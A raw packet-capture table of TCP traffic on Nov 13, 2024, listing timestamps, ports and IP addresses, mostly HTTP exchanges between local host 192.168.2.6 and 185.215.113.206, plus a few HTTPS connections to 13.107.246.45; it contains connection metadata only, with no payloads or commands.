Nov 13, 2024 18:08:34.173048973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173058987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173070908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173084021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173095942 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173104048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173136950 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173178911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173192024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173202991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173216105 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173221111 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173227072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173238039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173237085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173249006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173257113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173260927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173283100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173316002 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173337936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173350096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173361063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173372984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173377991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173383951 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173387051 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173391104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173402071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173408031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173418999 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173430920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.173433065 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173465014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173474073 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.174895048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.174907923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.174917936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.174931049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.174953938 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175010920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175031900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175057888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175069094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175080061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175081015 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175088882 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175091982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175105095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175116062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175127983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175137043 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175138950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175151110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175162077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175168037 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175173998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175183058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175195932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175206900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175214052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175214052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175214052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175246954 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175832033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175851107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175860882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175884008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175898075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.175952911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175965071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175975084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175987005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.175992012 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176000118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176012039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176018953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176023006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176040888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176047087 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176054001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176067114 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176094055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176733017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176750898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176762104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176774025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176784992 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176785946 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176796913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176804066 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176809072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176819086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176830053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176831961 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176841974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176853895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176853895 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176865101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176876068 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176886082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176889896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176897049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176908016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176912069 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176918983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176929951 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176940918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.176945925 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176953077 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.176983118 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.177956104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.177973032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.177983999 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.177995920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178006887 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178009033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178018093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178029060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178040028 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178045034 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178050995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178062916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178064108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178075075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178081036 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178086996 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178098917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178111076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178112984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178122044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178133011 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178144932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178145885 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178157091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178164005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178168058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.178190947 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.178219080 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179287910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179300070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179311037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179328918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179339886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179339886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179339886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179352045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179362059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179366112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179373980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179385900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179395914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179399014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179409981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179415941 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179421902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.179440975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179471970 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.179992914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180008888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180020094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180032015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180042982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180047035 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180054903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180066109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180074930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180077076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180088997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180088997 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180114985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180131912 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180135965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180144072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180155993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180165052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180175066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180183887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180186033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180197954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180208921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180208921 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180219889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180229902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180241108 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180242062 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180263996 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180282116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180696964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180708885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180721045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180732012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180732965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180743933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180748940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180762053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180779934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180783987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180797100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180808067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180816889 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180819035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180830002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180840969 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180852890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180862904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180870056 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180874109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180886984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.180892944 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.180931091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.181391954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181404114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181415081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181436062 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.181459904 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.181886911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181900024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181910038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181921959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181926012 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.181931973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181943893 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181946039 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.181955099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181957960 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.181967020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.181998014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182004929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182015896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182044029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182763100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182775021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182785034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182797909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182807922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182809114 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182818890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182830095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182841063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182842970 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182852030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182852030 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182863951 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182873964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182883978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182884932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.182914019 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.182931900 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.184093952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.184107065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.184149981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.184164047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.184166908 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.184175014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.184185028 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.184195995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.184206963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.184211016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.184233904 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.184257030 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.185343027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185353994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185364008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185375929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185385942 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185390949 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.185398102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185408115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185419083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185426950 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.185429096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185440063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185448885 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.185451031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185461044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.185467958 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.185482025 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.185497046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.186500072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.186511993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.186522961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.186533928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.186547995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.186568022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.206574917 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.206634998 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.206666946 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.206703901 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.206733942 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.206840992 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.207743883 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.207794905 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.207815886 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.207827091 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.207855940 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.207912922 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.209000111 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.209053993 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.209064960 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.209075928 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.209127903 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.210364103 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.210408926 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.210417986 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.210442066 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.210453033 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.210479975 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.210504055 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.211515903 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.211558104 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.211600065 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.211611032 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.211637974 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.211656094 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.211684942 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.211726904 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.211749077 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.211760044 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.211787939 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.211895943 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.211950064 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.212229013 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.212254047 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.238022089 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.238181114 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.238245010 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.238358021 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.238368988 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.238379955 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.238384962 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.241617918 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.241636992 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.243926048 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.244807959 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.244824886 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.255141973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255197048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255307913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255323887 CET	80	49864	185.215.113.206	192.168.2.6
